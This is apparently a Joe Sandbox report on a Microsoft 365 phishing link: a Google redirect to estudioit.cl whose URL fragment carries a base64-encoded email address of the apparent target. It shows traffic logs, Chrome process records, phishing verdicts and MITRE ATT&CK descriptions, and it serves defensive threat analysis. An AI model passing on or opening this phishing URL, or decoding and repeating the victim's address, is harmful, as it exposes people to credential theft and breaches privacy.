2024-11-20 09:20:18 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:18 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 107b52fc-c01e-00a2-5b8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092018Z-185f5d8b95c4vwv8hC1NYCy4v40000000a4000000000a0eb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:18 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.9	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:18 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:18 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:18 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 736e7e4b-801e-0035-118c-3a752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092018Z-185f5d8b95cdh56ghC1NYCk1x400000003ug000000009nm8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:18 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Target ID:	2
Start time:	04:19:51
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	04:19:57
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=2000,i,5068049078608606365,13413007719438405554,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	04:19:59
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.google.ca/url?q=30NUMBER&rct=77151727248916238810&sa=t&url=amp/s/estudioit.cl/starl/%23YW5nZWxhLmhvZGdzb25AMnNmZy5jb20="
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://estudioit.cl/starl/style.css	Avira URL Cloud: Label: phishing
Source: https://estudioit.cl/starl/favicon.ico	Avira URL Cloud: Label: phishing
Source: https://estudioit.cl/starl/logo.png	Avira URL Cloud: Label: phishing
Source: https://estudioit.cl/starl/	Avira URL Cloud: Label: phishing
Source: https://estudioit.cl/starl/script.js	Avira URL Cloud: Label: phishing

Source: https://estudioit.cl/starl/#YW5nZWxhLmhvZGdzb25AMnNmZy5jb20=	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft 365' is a well-known brand associated with Microsoft., The URL 'estudioit.cl' does not match the legitimate domain 'microsoft.com'., The domain 'estudioit.cl' does not have any obvious connection to Microsoft or Microsoft 365., The presence of input fields asking for a code could be indicative of a phishing attempt, especially if the domain is unrelated to the brand. DOM: 0.0.pages.csv
Source: https://estudioit.cl/starl/#YW5nZWxhLmhvZGdzb25AMnNmZy5jb20=	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft 365' is well-known and typically associated with the domain 'microsoft.com'., The URL 'estudioit.cl' does not match the legitimate domain for Microsoft 365., The domain 'estudioit.cl' does not appear to be related to Microsoft or its services., The presence of a generic input field 'Enter the code above' without context can be indicative of phishing attempts., The URL does not contain any direct association with Microsoft, which is suspicious given the brand mentioned. DOM: 0.1.pages.csv

Source: global traffic	DNS traffic detected: DNS query: www.google.ca
Source: global traffic	DNS traffic detected: DNS query: estudioit.cl
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ipapi.co

Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://www.google.ca/url?q=30NUMBER&rct=77151727248916238810&sa=t&url=amp/s/estudioit.cl/starl/%23YW5nZWxhLmhvZGdzb25AMnNmZy5jb20=

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Windows Analysis Report
https://www.google.ca/url?q=30NUMBER&rct=77151727248916238810&sa=t&url=amp/s/estudioit.cl/starl/%23YW5nZWxhLmhvZGdzb25AMnNmZy5jb20=